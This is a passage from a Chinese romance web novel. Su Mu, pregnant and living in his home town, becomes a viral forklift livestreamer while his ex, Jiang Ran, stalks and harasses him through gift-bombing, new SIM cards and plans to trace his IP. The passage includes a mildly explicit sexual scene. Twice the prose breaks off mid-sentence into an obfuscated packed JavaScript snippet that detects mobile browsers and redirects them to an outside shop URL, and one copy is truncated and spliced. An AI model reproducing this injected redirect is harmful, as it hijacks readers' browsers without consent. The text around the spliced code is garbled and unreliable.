他拍了拍桌面,“电脑开机密码待会儿让王会计告诉你,今天没什么急事,你先熟悉熟悉环境,看看以前的单据是怎么整理的。” 苏木又说了一遍好。 孟厂长交代完,便转身回了自己办公室。苏木拉开椅子坐下,皮革椅面发出轻微的摩擦声。他伸手按下电脑主机的电源键,风扇嗡嗡地转起来,屏幕亮起一片幽蓝的光。 去了两天,苏木就习惯了。 因为是一个地方的,扯远的都谈得上是亲戚。 王会计知道苏木,说他当初高考考得可好了。 厂区的节奏和城市写字楼截然不同。 没有没完没了的会议,没有时刻闪烁的即时通讯软件,没有那种无形中催促着人不断向前的紧绷感。 机器的声音从早响到晚,但那是规律而沉实的背景音,并不扰人。 他的工作确实如孟厂长所说,不复杂。 大多是些需要耐心和细致的重复性劳动。 把一沓沓带着复写纸蓝色印迹的送货单按日期排序,用计算器核对金额,再分门别类地夹进不同的文件夹;将已经审批过的发票一张张抚平,在背面用铅笔轻轻写上凭证号,然后贴到厚厚的记账凭证上;偶尔需要打几份简单的合同或通知,用的是那种带着九十年代风格的word模板。 车间里的工人大多是附近村镇的,嗓门大,说话直,午饭时间聚在食堂里,喧哗声能掀翻屋顶。 但办公室里要安静许多,除了键盘敲击声和翻动纸张的哗啦声,就是两位中年女会计偶尔的交谈,话题绕着菜价、孩子月考成绩和最近看的电视剧打转。 每天下午五点下班。 机器声会陆续停下,工人们说笑着从车间里涌出来,走向车棚或厂门口。 苏木关掉电脑,收拾好桌面,把没贴完的发票收进抽屉锁好。 走出办公楼时,西边的天空往往还挂着大片的晚霞,颜色从金黄过渡到橙红,再晕染成淡淡的紫灰色。 时间像一条缓慢而平稳的河流,裹挟着木屑的微尘和纸张干燥的气息,从苏木指尖、眼前,安静地流淌过去。 没有突如其来的电话,没有必须立刻处理的紧急状况,没有那些需要反复揣摩措辞的邮件和汇报。 这种空旷的、几乎能听到自己呼吸声的闲暇,起初让苏木有些不适应,指尖总想抓住点什么。 但一段时间下来,苏木靠在椅背上,望着窗外一成不变的厂房屋顶和更远处田野的绿意,偶尔会走神很久,直到隔壁王会计喊他,让他帮忙递一下订书机。 过几天厂区里那个干了三四年的老叉车工突然辞职了,据说是跟着老乡去了南边更大的厂子,钱多。 车间主任跟孟厂长抱怨,说临时找不来有证的人,一堆等着转运的床板龙骨堵在通道里,耽误后面喷漆的工序。 苏木正巧抱着刚打印好的一摞生产单从旁边经过,听见了。 他脚步顿了顿,目光在那台高大的叉车上停了几秒。走前两步:“那个……要不,我来试试?我有证。” 车间主任和孟厂长同时转过头看他,眼神里是如出一辙的惊讶。 孟厂长挑了挑眉,没立刻说话。车间主任上下打量着苏木清瘦的身板和那张戴着细边眼镜、显得过分斯文的脸,脸上写满了不信任:“小苏,这铁家伙弄不好要出事的,你真会?” 苏木拿出手机,点点头:“我有证,你看,考过的。” 孟厂长瞥过来看了一眼:“行,那你试试。小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拍摄角度有点晃,显然是门卫大叔举着手机追着拍的,但画面里的他侧脸清隽,穿着浅蓝衬衫,袖子卷到手肘,眉头微蹙,眼神专注地看着前方,操控着完成一系列动作。 视频的点赞数赫然显示着十几万,还在缓慢增长。 评论区的数字更是惊人。 大叔手指飞快地往下划,一条条评论跳出来。 ——这颜值你跟我说在开叉车? ——小哥哥这脸这手,明明可以直接去当男模,却偏偏在厂里开叉车……暴殄天物啊。 ——所以我说我平时怎么看不到帅哥,原来帅哥都进厂了。 ——大叔多拍点!爱看!戴着眼镜开叉车,这种反差绝了! ——有没有人觉得他操作的样子好认真好性感。 苏木一条条看下来,脸上的表情从最初的茫然,慢慢变成一种难以形容的复杂。 门卫大叔却全然没察觉他复杂的心情:“你看,这流量,这热度,你也赶紧的,注册个抖音号!咱们以后可以拍共创视频,我拍你开叉车,你就在镜头前露个脸,打个招呼,说几句话,保准比我这老头子自己播火多了,到时候接点广告,赚点零花,多美的事儿!” 门卫大叔越说越起劲,已经开始规划起来:“咱可以拍个系列,就叫……厂草的日常怎么样?” 厂草苏木说两天恐怕不太行,得去看医生。 大叔连连点头:“那是正事,身体要紧,视频啥时候都能拍。” 诊所是镇卫生院旁边一栋独立的小二层楼,李医生的诊所在二楼最里面一间,李医生是个慈眉善目的老太太,头发花白,梳得整整齐齐,戴着一副老花镜。 她动作缓慢却异常稳当地给苏木做了检查,冰凉的听诊器头贴在皮肤上,激起一小片鸡皮疙瘩。 检查完,她摘下听诊器,在病历本上写着什么,语气平和:“孩子还算稳定,发育指标都在正常范围内。” “不过啊,你现在可是咱们镇上的名人了,年轻,身体底子好,偶尔动动也行,但月份再大点,那叉车可千万不能再碰了,震得慌,不安全。” 苏木正低头系着衬衫扣子,乖乖说:“好。” 从诊所出来,口袋里手机就震动起来,他故意没接。 等晚上吃过饭,爸妈都出去散步了,苏木洗完澡躺在床上盯着手机没多久。 电话那头传来江冉的声音:“苏木,你这个骗子?” 苏木手指往下,顺着对方的话头往下说:“……对,我就是骗子。” 这坦然到近乎无赖的承认,似乎让那头的江冉噎了一下,随即是更盛的怒火:“你别让我抓到你!” 苏木声音有一点怪,但是更多是挑衅:“嗯哼……你抓到我……又怎么样?江少爷,那也是我的第一次好不好,你也没吃亏。” “你以前不是这样的。” 苏木:“嗯,那我以前怎么样的?你找不到我的,我在一个……秘密的地方。” 江冉想,以前苏木很乖,很听话的,不像这样可恶,藏起来让他找不到。 江冉觉得苏木声音怎么有点勾人,不过话题都往这边引了,他也火了:“……等我抓到你,我就再干//你一次!让你根本下不来床!” 兔子逼急了都会咬人。 粗鄙的,直白的,带着暴力和情//色混合意味的威胁。 苏木还是第一次从江冉嘴里听见。 然后,一种陌生的、生理性的悸动,毫无预兆地,顺着尾椎骨爬了上来,小腹深处似乎也跟着收紧了一下。 电话那头江冉似乎还在说着什么,声音模糊成背景里的杂音。 苏木没再听。 他微微调整了一下姿势。 一种事后的、空茫茫的疲惫感包裹上来,苏木有些心虚地挂了电话,拉黑,然后拿纸巾擦了擦白皙修长的手指。 孕期的身体,有需求是正常的。 利用孩子他爹满足一下需求,这也再正常不过了吧,毕竟也只跟他睡过了。 不过这种事可千万不能江冉知道。 10.他一个同性恋,到底哪里来的孩子 苏木现在的睡眠,出奇地好。 乡下的夜晚,有一种天然的,厚重而纯粹的宁静。不是城市里那种被空调外机,远处车流和邻里微响切割过的安静,而是像一大块温润的,吸音的黑绒布,将整个天地都温柔地包裹起来。 白噪音也恰到好处,不是耳机里模拟的雨声或溪流,是真的。是后窗外那棵老樟树被夜风吹过时,枝叶摩擦发出的,细碎又连绵的沙沙声,是远处稻田里不知名小虫断断续续的,有节奏的鸣叫,忽高忽低。 偶尔,从极远的村口传来一两声犬吠,悠长地划破夜空,这些声音糅合在一起,成了最好的背景音,让他沾枕即眠,一夜无梦到天明。 吃得也规律又健康。 没有应酬,没有外卖,没有那些为了赶时间而胡乱塞进肚子的东西。 一日三餐,都是苏母用自家种的菜,自家养的鸡,村口豆腐坊新鲜的豆制品,变着花样做出来的。 油盐清淡,滋味却实在,一口热汤下肚,能暖到四肢百骸。 大家也普遍睡得早,天黑透了,灯便一盏盏熄灭。 实在有时候,白天闲得发慌,苏木心头那点说不清道不明的,沉寂了许久的燥意,会悄悄冒个头。 这时候,如果江冉恰好又换了个新号码打过来,他真的有用不完的新号码,苏木会带着点恶作剧般隔几个,按下接听。 电话那头传来的,永远是江冉压抑不住怒火的,带着沙哑质感的威胁,或是气急败坏的质问。 奇怪的是,苏木听着,非但不觉得害怕或厌烦,心底反而漾开一圈圈奇异的,带着酥麻感的涟漪,精准地勾起了他身体深处某种难以启齿的,沉睡的兴奋。 苏木觉得,自己可能真的有点不为人知的癖好。 江冉越是对他发狠,言辞越是激烈,语气越是充满占有欲和毁灭欲,他反而越觉得……刺激。 那种被另一个人如此强烈地,哪怕是以负面方式需要着,紧抓着不放的感觉,在某种程度上,竟诡异地填补了他孕期中某种难以言说的不确定与空虚。 苏木最近的气色,肉眼可见地好了起来。不再是前段时间那种仿佛地里被霜打过,蔫头耷脑,脸色发青的小白菜模样。 皮肤透出一种健康的,白里透红的润泽感,带着莹润的光,眼睛也清亮了不少。 苏母每日变着法儿给儿子补身体,看他吃得香,睡得沉,脸颊渐渐丰润起来,心里很有成就感。 这天晚饭后,她一边收拾碗筷,一边看着坐在沙发上,有一搭没一搭摸着肚子的苏木:“儿子,你看你现在在家,气色多好,人也精神了。妈看啊,你干脆就别再想着往外跑了,就留在家这边,找个清闲点的事做做。” “我跟你爸就你一个,等你肚子里这个小家伙平平安安生下来,我们还能帮着带,你该上班上班,该干嘛干嘛,多好?一家人在一起,比什么都强。” 苏木正拿着手机:“再说吧,妈,这事儿……急不来。” “哎呀,真是的……这破手机,最近老是给我推送什么孕期教育,胎教黄金期,新手妈妈必备,学区房要从胚胎抓起……看得我头都大了。” 也许是他搜索过几次产检相关,大数据似乎终于捕捉到了他身体的异常变化,开始孜孜不倦地向他灌输各种育儿知识,母婴产品广告以及关于未来教育竞争的恐怖预言。 苏木干脆把短视频平台,全都卸载了。 这天休息,他没什么事做,就窝家里,拿着手机打游戏。 游戏是那种最简单的消消乐,色彩鲜艳的方块噼里啪啦地消失,声音开得很小。 手机屏幕上方忽然弹出一条消息,来自瘦猴。 苏木手指顿了顿,还是点了进去。 瘦猴:木头,在吗?你跟江少爷到底怎么了?他最近老来找我,问我有没跟你联系,知不知道你现在在哪儿,在干什么。问得可勤了,我都快招架不住了。 江冉那种不达目的不罢休的劲头,带着少爷脾气的固执和某种被冒犯后的恼怒。 苏木总算见识了。 他回复得很快,故作轻松:也没怎么,就那样呗。他就是一时上头,过阵子自己就好了,你别搭理他。 瘦猴:你们这到底是闹哪出啊?之前不还好好的吗?怎么说断就断,他还跟寻仇似的满世界找你。 怎么了? 还能怎么了? 不就是因为他一时糊涂,偷走了江少爷那据说无比珍贵的第一次。 像摘了一朵被精心养护,所有人都觉得高不可攀的名贵花朵,然后发现这花除了好看,也没什么特别,甚至带着扎手的刺。 更糟的是,他摘了就摘了,还找不到地方还回去。 现在更遭的是直接结果了。 他想起大学时候,一群人聚在烧烤摊上喝得东倒西歪,借着酒劲开些没边没际的玩笑。 不知谁先起的头,说江少爷家世好,模样好,眼光也挑,那贞操肯定更是金贵得不行,得像传家宝一样供着,不能轻易给了人,否则将来结婚都要掉价。 当时江冉就坐在他对面,隔着烧烤摊缭绕的烟雾和晃动的啤酒泡沫,听到这话,反而抬起眼,目光直直地,沉沉地看了苏木好几秒。 苏木当时以为是自己也跟着起哄,冒犯到了这位少爷,讪讪地闭了嘴。 不过,开叉车这活儿,倒是让苏木的日子变得更清闲了。 厂子里虽然机器不停,床板龙骨每天哗啦啦地切割,打磨,组装,但并不是时时刻刻都需要叉车搬运。 大量的时间,他只需要待命,或者做一些简单的车辆保养。 于是,空闲的时候,他最喜欢往门卫室溜达。 门卫大叔姓赵,今年刚满五十,是个话痨,也爱热闹。大叔跟前妻离婚好些年了,女儿在外地读大学,一年也见不上几面。 他一个人守着这厂子大门,觉得这地方挺好,冬天不算太冷,夏天有穿堂风,比在外面风吹日晒强多了,用他的话说就是春暖夏凉,神仙日子。 他最大的爱好就是搞直播,不是那种正经八百的才艺展示,就是举着手机,对着厂区门口的路,对着偶尔进出的人和车,对着天空飞过的鸟,或者干脆对着自己那张皱纹深刻的脸,天南海北地胡侃。 从国际形势到菜市场猪肉价格,从三十年前的初恋到昨天看的电视剧剧情,什么都聊。 直播间人不多,三五个常客,偶尔有新人误入,他都能热情地招呼半天。 门卫大叔对共创视频这事儿,非常执着,每天见了苏木都要念叨几遍。 “小苏啊,你就听大叔一句劝,大叔我是有经验,有眼光,可我这老脸老皮的,人家看腻了啊,你呢?你不一样。” 他对苏木说:“你要是有大叔我这份儿敏锐,这份儿豁得出去的劲儿,早就红透半边天了,听我的,没错,你就把手机往面前一架,也不用你说话,你就开你的叉车,搬你的木头,该干嘛干嘛,剩下的交给大叔我来拍,来剪,来配乐,保准比之前那个更火!” 为了说服苏木,他还特意把自己那个“厂草开叉车”的视频翻出来,举到苏木眼前。 屏幕上点赞的数字确实吓人,几十万的红心密密麻麻,评论还在不停地滚动刷新。 大叔的手指在屏幕上划拉着:“你看看,你看看这热度,这流量,多少人等着看后续呢,这叫市场需求,你不拍,那不是浪费吗?” 苏木看着那惊人的数字,挑眉想江冉会不会刷到他。 但这种小镇工厂的零星热闹,应该不能传到千里之外的江州去?传到那些他曾经生活的,光鲜又压抑的圈子里去? 再说了,江冉那个人,苏木很了解,他从来不屑于刷这些短视频软件,觉得那是浪费时间。 江少爷的世界里,是财经新闻,是高端峰会,是私人画廊和跑马场,最不济也是高级俱乐部的内部消息群。 这种带着乡土气息的工厂直播,应该入不了他的眼。 这么一想,苏木又觉得无所谓了,拍就拍吧,反正闲着也是闲着,还能让大叔高兴高兴,省得他整天念叨。 但是,苏木显然低估了互联网那近乎无孔不入,不讲道理的传播性。它像一张无形却巨大的网,轻易就能跨越地域,圈层,甚至认知的壁垒,将一些看似毫不相干的人和事,强行拉扯到一起。 你永远不知道,哪个角落里的哪一双眼睛,会恰好看到,又恰好认识屏幕里的你。 江冉那边,情况已经完全不同了。 最初的暴怒,被羞辱感,剩下的是一种更加焦灼的,几乎要烧穿理智的迫切。 他动用了所有能动用的常规手段去查苏木的下落,问遍所有可能知道苏木去向的旧友,查苏木信用卡消费记录,发现早已停用,甚至试图通过苏木以前的同事打听,全都一无所获。 苏木像是人间蒸发了一样,切断了与过去所有的联系,消失得干干净净。 他甚至又想把目光投向一些灰色地带,一些涉及到道德底线甚至法律边缘的手段,通过某些特殊渠道,去挖掘苏木更隐秘的线上痕迹,IP地址,注册过的各类平台小号。 他知道这不对,越界了,但他控制不住。 他找不到苏木。 这种无力感让他几乎发疯。 他真的很迫切,迫切到可以暂时放下所谓的规则和体面,迫切到不介意使用一些不那么光彩的手段。 他需要重新抓住那个胆大包天又狡猾透顶的骗子,需要面对面地质问,需要……需要得到一个交代,或者,一个了结。 那天晚上之后,他本来以为……一切都不同了。 那些激//烈的纠//缠,汗水,喘息,肌肤相贴的温度,他以为那会是一个开始,或者至少,是关系某种实质性的转变。 结果呢? 结果苏木用实际行动给了他最响亮的耳光。不是前进,不是胶着,是彻彻底底的倒退。 退得比他们刚认识的时候还要糟糕。 于是,在门卫大叔的怂恿和直播间为数不多但异常热情的粉丝起哄下,苏木真的 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而城市另一端的江冉,下载了几乎所有主流的社交和短视频软件,挨个尝试用苏木那个他烂熟于心的手机号去搜索,或者通过关联信息查找可能的小号。 苏木过去常用的几个账号,明显已经很久没活跃了。最后一条动态停留在好几个月前,IP地址还显示在B市,内容乏善可陈,没什么评论和互动。 他在其中一个几乎荒废的账号里,发现最新的一条动态点赞,是给一个母婴博主的帖子点的,帖子标题赫然是“接产检一路绿灯”。 苏木的亲戚?朋友?还是…… 江冉现在看到关于婴儿相关的东西就是很烦躁,他这段时间频繁做梦,上网搜了一下结果是胎梦。 江冉真的很无语,他一个同性恋,到底哪里来的孩子。 之前江冉帮苏木打印过身份证复印件,身份证上的地址似乎是什么禾市渠县荷花镇凤凰村,后面还有一些后缀,江冉就记不太清了。 他立刻在搜索栏里输入这个地址,漫无目的地在海量的网络信息里翻找,筛选。 搜索着,搜索着。 不知过了多久,指尖在某个短视频平台的推荐页面上机械地滑动时,一个直播间的封面突然跳了出来。 画面有些晃动,背景是熟悉的蓝顶厂房和堆放的木料,而画面中央,那个坐在叉车驾驶室里,侧着脸正在调整后视镜的人。 江冉的手指猛地顿住,瞳孔骤然收缩。 是苏木。 他看上去……气色好得过分。 镜头有些逆光,勾勒出他清晰的侧脸轮廓,皮肤在自然光下显得白皙细腻,甚至透着一层健康的,浅浅的光泽。 他穿着件普通的浅灰色工装衬衫,袖子随意地挽到手肘,露出清瘦却线条流畅的小臂。 和他来江州出差那次总是带着熬夜后淡淡倦色,眉眼间凝着职业化的苏木,判若两人。 直播似乎是互动环节,苏木摘下了那副他常戴的细边眼镜,随手放在旁边的控制台上。 没了镜片的遮挡,他那双眼睛完全显露出来,稍远一点看屏幕上的评论时,他会不自觉地微微眯起眼,显得有些迷茫和费力,长长的睫毛在眼睑下投出小片扇形的阴影。 而当他要看清近处的东西,比如操作杆上的标识,或者凑近去看手机屏幕上滚动的评论时,那张脸便会毫无防备地贴近镜头。 于是,直播间里的所有人都能清晰地看到他那双因为轻微近视而显得雾气氤氲,却异常干净的眼睛,纤长的睫毛随着眨动轻轻颤抖,瞳仁在光线下呈现出温和的浅褐色。 有评论问他:“小哥哥为什么想起来学开叉车啊?这么全能!” 苏木凑近了看那条评论:“之前感兴趣,想着万一哪天金融圈混不下去了,找不到工作了,好歹还有个手艺饿不死自己嘛,技多不压身,对吧?” 他用了刚跟直播间网友学来的新鲜词:“主包以前可是正儿八经的金融狗。” 江冉手指狠狠地点向礼物列表最顶端那个最贵的虚拟礼物图标,连刷了好几个。 绚丽的特效瞬间占满了整个直播屏幕,将苏木那张有些懵的脸淹没在一片浮夸的动画和系统提示音里。 江冉觉得苏木真是笨得可以,难道看不出整个直播间里,那些喊着“哥哥好帅”,“老公看看我”,“好想坐你的叉车”的评论,有多少是真心请教得,根本就是想调戏他。 不过苏木总是这样笨笨的,才让他这么不放心。 id6653365211:主包今天别教了,休息吧。 苏木显然被那接连不断的昂贵礼物特效惊到了,愣了一下,才眯着眼,努力看清这条被礼物刷屏顶上来,语气有点奇怪的评论。 他脸上露出困惑,对着镜头,很认真地道:“这位id是6653365211的朋友,我不是为了挣钱,才开直播的,我是真的觉得,多一门手艺挺好的,万一有人想学呢?我这是传播知识。” 11.我有很多张卡的,你拉不完的 id6653365211 这个账号,在苏木看来,貌似是个疯子。 他在心里做出了如上判断。 每次苏木开直播,主要是应门卫大叔和部分粉丝要求,继续他很认真的叉车教学或者分享一些工厂日常时,这个id6653365211就会像设定好程序的幽灵一样,准时出现,然后开始他那一套固定的捣乱流程。 首先,是礼物轰炸。 不是那种几毛钱一块钱的小心心小星星,而是平台上最贵,特效最浮夸,持续时间最长,提示音最响亮的虚拟礼物。 一个接一个,不带停歇,绚丽的动画特效瞬间占满整个手机屏幕,将苏木那张清瘦的脸和身后的厂房背景完全淹没。 金色的雨,七彩的虹,炸开的礼炮,飘飞的羽毛……应有尽有,活像一场声势浩大的电子烟花秀。 然后,就在这片浮夸的视觉和听觉轰炸中,一条弹幕会慢悠悠地,却异常醒目地飘过,用的是那种深藏功与名的口吻:礼物够了吧,主包去休息吧。 苏木最开始完全懵了。 他搞不懂这个人想干什么。 给他刷这么多昂贵的礼物,就为了让他下播去休息? 而且,这个id似乎铁了心要包养他的直播时长,有一次甚至在他下播后,通过私信,说把苏木接下来半年的直播量刷够,让他尽管休息。 这种用钱砸人,强行干涉他人行为的做法,让苏木感到极度不适和莫名其妙。 更麻烦的是,苏木最初对直播软件的功能不熟悉,根本不知道在哪里关闭礼物特效和提示音。 于是,每次这个id一出现,他的直播就彻底进行不下去了。 屏幕被礼物特效糊得严严实实,他自己都看不见自己的脸和评论区其他留言,效果可想而知。 往往坚持不了几分钟,就只能在一片尴尬和混乱中匆匆下播。 苏木本来想试着躲开这个6653365211,结果发现无论哪一个时刻,他都在。 后来,他实在受不了了,花了点时间,研究了这个直播软件的设置,找到了关闭礼物动画效果和礼物提示音的选项。 世界瞬间清净了。 然而,id6653365211 显然没有就此罢休的打算。 发现礼物轰炸失去了视觉和听觉上的干扰效果后,这个人迅速改变了策略,开始进行另一种形式的骚扰,刷屏式提问和评论。 不是那种正常的,关于叉车技术或工厂生活的询问,而是一些没头没脑,甚至有些越界的,带着强烈个人情绪和挑剔意味的语句。 一条接着一条,速度极快,几乎占据了整个评论区,让其他观众的留言瞬间被淹没。 苏木一开始还回应,比如看到id6653365211说“主包不许笑”,他会下意识地收敛一下因为和网友互动而自然流露的浅淡笑意,然后一本正经地对着镜头问:“为什么?” 说完自己都觉得有点傻。 id6653365211:笑得太好看了。 苏木:“…………” 但当id6653365211开始评论他的衣着时,苏木就觉得不对劲了。 id6653365211:衣服有点透。 那天他穿的就是一件普通的浅灰色纯棉短袖工装,出了点汗有点贴在身上,绝对谈不上透。 接着,问题开始变得更加莫名其妙。 id6653365211:为什么在室外工作? id6653365211:为什么不配一个安全员? 变相的找茬。 其他观众很快就不满了。 屏幕上的评论区一开始原本还算和谐,偶尔有技术讨论,更多是善意的调侃和闲聊。但这个id6653365211一来,画风就彻底变了。 持续不断的礼物特效本身就引人侧目,加上那刷屏式的,语气古怪,内容越界的评论,迅速引起了其他人的反感。 ——这谁啊?钱多烧的?刷礼物了不起?能不能别刷屏? ——说话好奇怪,管得真宽,主播爱在哪工作关你屁事? ——主包别理他,当空气就好。 ——烦死了,把这人踢出去吧!拉黑拉黑! 类似的言论开始出现,起初还是零星几条,很快就多了起来,矛头直指id6653365211。 直播间的氛围被搅得有些乌烟瘴气。 苏木看着这些留言,他不想因为一个人,破坏好不容易建立起来的,还算轻松的交流环境。 但直接拉黑……他又有点犹豫。毕竟对方刷了那么多昂贵的礼物,虽然行为讨厌,但似乎也没做什么实质性的坏事? 纠结再三,他决定先尝试沟通,点开了私信界面,发了条消息过去:你好,id6653365211,你在直播间的发言,有点影响其他观众了。能不能稍微注意一下?只要你不乱说话,正常交流,我就不拉黑你,可以吗? 很快,私信的回复来了。 速度很快,几乎是秒回。 id6653365211:我没有说错啊。 id6653365211:你为什么要听别人的话?别人的意见很重要吗?还是你真的想拉黑我。 id6653365211:你变了? 苏木:……我把你刷礼物的钱还给你吧,你看,平台还要抽成,我拿到手的没多少,算清楚退给你。 他想,钱货两清,或许就能让这个奇怪的家伙消停了。 id6653365211的回复再次秒至,斩钉截铁:不要。 不等苏木反应,下一条又来了:你缺钱可以跟我说。 惊悚得可以。 ATM奴吗? 他关掉了私信界面,跑去门卫室请教大叔。 “大叔,你说,这种人是不是特别奇葩?他到底想干嘛?” 门卫大叔正脸上露出了然的神色:“他这表现,不像是一般粉丝砸钱求关注,倒像是……想要占有你,这都是在划地盘呢,你遇到疯狂粉丝了。” “占有我?” 苏木重复了一遍,觉得这个词用在自己身上更加诡异了,“那我应该怎么办?” 大叔回想了一下:“我之前搞直播,也遇到过类似的。隔壁村一个婆娘,四十多了,看我直播跟别人连线打PK,她就跟疯了一样,在评论区骂人,还私信骚扰跟我连线的女主播,后来……” 大叔顿了顿:“后来她还跑到厂子门口来堵我,说要跟我好好谈谈,把我给吓得,好几天没敢开播。” 大叔看他脸色不好:“不过没事,你别怕,你一个大男人,身强力壮的,怕什么?还能把你吃了不成?我当时是觉得丢人,懒得跟她纠缠,你这情况……” 大叔想了想:“要不,你先别理他,冷处理?” 苏木拿出手机,找到了id6653365211的主页。手指在加入黑名单的选项上悬停了几秒,然后,按了下去。 屏幕提示:操作成功。 id6653365211 消失了。 苏木以为这场莫名其妙的闹剧终于可以告一段落。 然而,这份清净维持了没多久。 很快,一个新的,id6653365985出现了。 id6653365985发来一条私信。 照片的中心,摊开着好几张崭新的,排列整齐的电话卡,不止一两张,粗略数去,至少有七八张。 紧接着,文字信息来了。 id6653365985:不要拉黑我,我有很多张卡的,你拉不完的。 id6653365985:我以后不乱说话了,你把礼物打开,我每天给你刷一点钱,就满足了。 苏木:……好吧,要是超过了我不会让你刷了。 苏木觉得,这个人的手机卡,和江冉简直有得一拼。 说起江冉,苏木才忽然意识到,江少爷最近几天,竟然出奇地安静,那些换着号码打来的,带着怒意或纠缠的电话,那些通过瘦猴或其他渠道旁敲侧击的打听,似乎都戛然而止了。 难怪,苏木觉得自己好久没拉黑人了。 苏木下意识地摸了摸自己的腹部,心里掠过一丝极其复杂的情绪。 释然还是失落?他说不清。 或许,江少爷这是终于把他给忘了?或者找到了新的,更有趣的消遣?这样也好。省得麻烦。他本来也不想再和他有任何瓜葛。 只是这念头飘过时,还是泛起连他自己都不愿承认的涩意。 其实,很久以前,苏木也曾经鼓起过勇气,想要朝着那份看似遥不可及的光亮靠近一点点。 他记得很清楚。 那是大二还是大三的一个周末,他通过中介,找到了一份报酬不错的家教工作,给一个住在市中心高档小区的高中生补习数学。 那家人很有教养,对他这个大学生很客气,每次去都会准备水果点心。补课结束,还会按照约定好的课时费,用信封装着现金给他,从不拖欠。 那天补完课,天色已经暗了下来,外面不知何时下起了淅淅沥沥的雨。 不算大,但足以打湿衣衫。 苏木看着外面灰蒙蒙的雨幕,正犹豫着是冒雨跑去公交站,还是等雨小一点。 手机响了,是江冉,问他怎么还没回校。他问苏木在哪里,苏木老实说了自己在给人家做家教,报上了这个高档小区的名字和楼栋号。 电话那头,江冉似乎顿了一下:“我也住这个小区,几单元?我正好要回去拿点东西,你等着。” 没过多久,一辆线条流畅的黑色轿车滑到单元门口停下。车窗降下,露出江冉那张在昏暗雨幕和车内灯光下显得格外清晰英俊的脸。 他朝苏木说:“上车。” 那是苏木第一次踏入江冉真正意义上的家。不是他偶尔租住的那个离学校近的,装修现代但总显得有些冷清的公寓,而是他父母所在的,承载着他成长痕迹的家。 房子很大,是那种苏木只在电视或杂志上见过的,带庭院和地下车库的独栋。 内部装修并不显得奢华夸张,而是充满了设计感和一种沉淀下来的,舒适优雅的质感。 空气里飘着淡淡的,好闻的香薰味道。 江冉的父母都在家,见到儿子带同学回来,很自然地微笑着打招呼。 江母气质温婉,说话轻声细语,问苏木要不要喝点热茶驱驱寒,江父虽然严肃些,但也朝他点了点头,问了句“雨大吗”,又让他们去玩吧。 他们对待苏木的态度,就像对待任何一个儿子带回来的,需要礼貌接待的普通同学,周到,得体,无可挑剔。 江冉领着他上楼。楼梯的扶手光滑冰凉,脚下是柔软厚重的地毯。 江冉的房间很大,整洁得不像一个男生的卧室,书架上是排列整齐的原文书籍和模型,墙上挂着几幅抽象的油画,落地窗外是精心打理过的,在雨水中显得格外青翠的庭院景观。 那一刻,站在江冉的房间里,看着窗外被雨水冲刷得一片迷蒙却依旧难掩精致的景色,闻着空气中属于江冉的,干净清冽的气息,苏木心里那点刚刚因为对方接他而升起的小小雀跃和隐秘的期待,像被这冰凉的雨水兜头浇下,迅速冷却,沉淀成一种更加清晰而沉重的认知。 很漂亮的房子。 很好的江冉。 教养很好的父母。 他只是一个偶然闯入的,浑身还带着雨水的旁观者。 他站在这里,却清楚地知道,自己这辈子,或许无论怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878347|191850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么努力,都很难真正赶得上这样的生活,这样的起点,这样的……世界。 那种差距,并非源于恶意或歧视,而是一种更加根深蒂固的,由出身,环境,资源所决定的鸿沟,无声无息,却壁垒分明。 后来,那点好不容易鼓起的,想要表白的勇气,也就这样,悄无声息地,熄灭了。 苏木有时候会想,其实不那么喜欢江冉就好了。 就只是像对待其他稍微熟稔些的同学,朋友那样,保持适度的距离,得体的来往,不过分靠近,也不过分疏远。 这样,或许就不会有后来那些辗转反侧,那些小心翼翼的试探,那些患得患失的煎熬,以及……最后那场堪称灾难的失控与逃离。 可偏偏,就是有点太喜欢了。 他害怕,怕得要命。怕自己的靠近会让这份他视若珍宝的关系变了味,怕那些隐秘的心思一旦暴露,会引来江冉的惊诧,厌恶,甚至彻底的远离。 他见过江冉对那些过于热情,目的不纯的追求者,是怎样的冷淡与疏离。 他不敢赌。他宁愿维持着那份看似平常的同窗情谊,至少,这样还能名正言顺地站在他身边,说上几句话,偶尔收到他漫不经心却足够让他心跳加速的邀约或问候。 大学的时候,多好啊。天天都能看到。 在同一间教室里,江冉可能坐在前排,也可能在后排,苏木总能用眼角的余光,捕捉到那个挺拔的背影,或者侧脸,像一道自带光芒的风景,构成了苏木青春岁月里,最隐秘也最鲜活的背景色。 后来毕业了,天各一方,看不到了。 苏木以为,新的环境,新的工作,他以为自己能把他忘掉,至少,能让那份喜欢变得浅淡,不再具有如此尖锐的杀伤力。 可是有一天,苏木在B市拥挤的地铁站里,被人潮推搡着,匆匆忙忙赶着去加班。路过一个地面出口时,目光无意间瞥向外面车水马龙的街道。 一辆颜色低调却线条流畅的车,正好缓缓驶过。和江冉当年常开的那一款,一模一样。 那一瞬间,毫无预兆地,苏木的脚步猛地顿住,周遭所有的喧嚣,地铁的轰鸣,人流的嘈杂,广播的通知声,仿佛都在那一刻急速褪去,变得遥远而不真切。 一股尖锐的酸涩,毫无道理地,汹涌地冲上了鼻尖和眼眶,视线瞬间就模糊了。 他慌忙低下头,快步钻进更深的人群里。 苏木那个时候就知道自己一辈子都忘不了了。 那次苏木留宿在江冉家。 “你随便坐,我给你看个东西。” 苏木当时心里还有些拘谨,闻言好奇地看着他。 江冉的房间很大,他走到门口,伸手按下了墙上的开关。“啪”一声,顶灯和壁灯都熄灭了,房间里瞬间陷入一片黑暗,只有窗外庭院里朦胧的景观灯,透过被雨水打湿的玻璃,投进些许模糊的光晕。 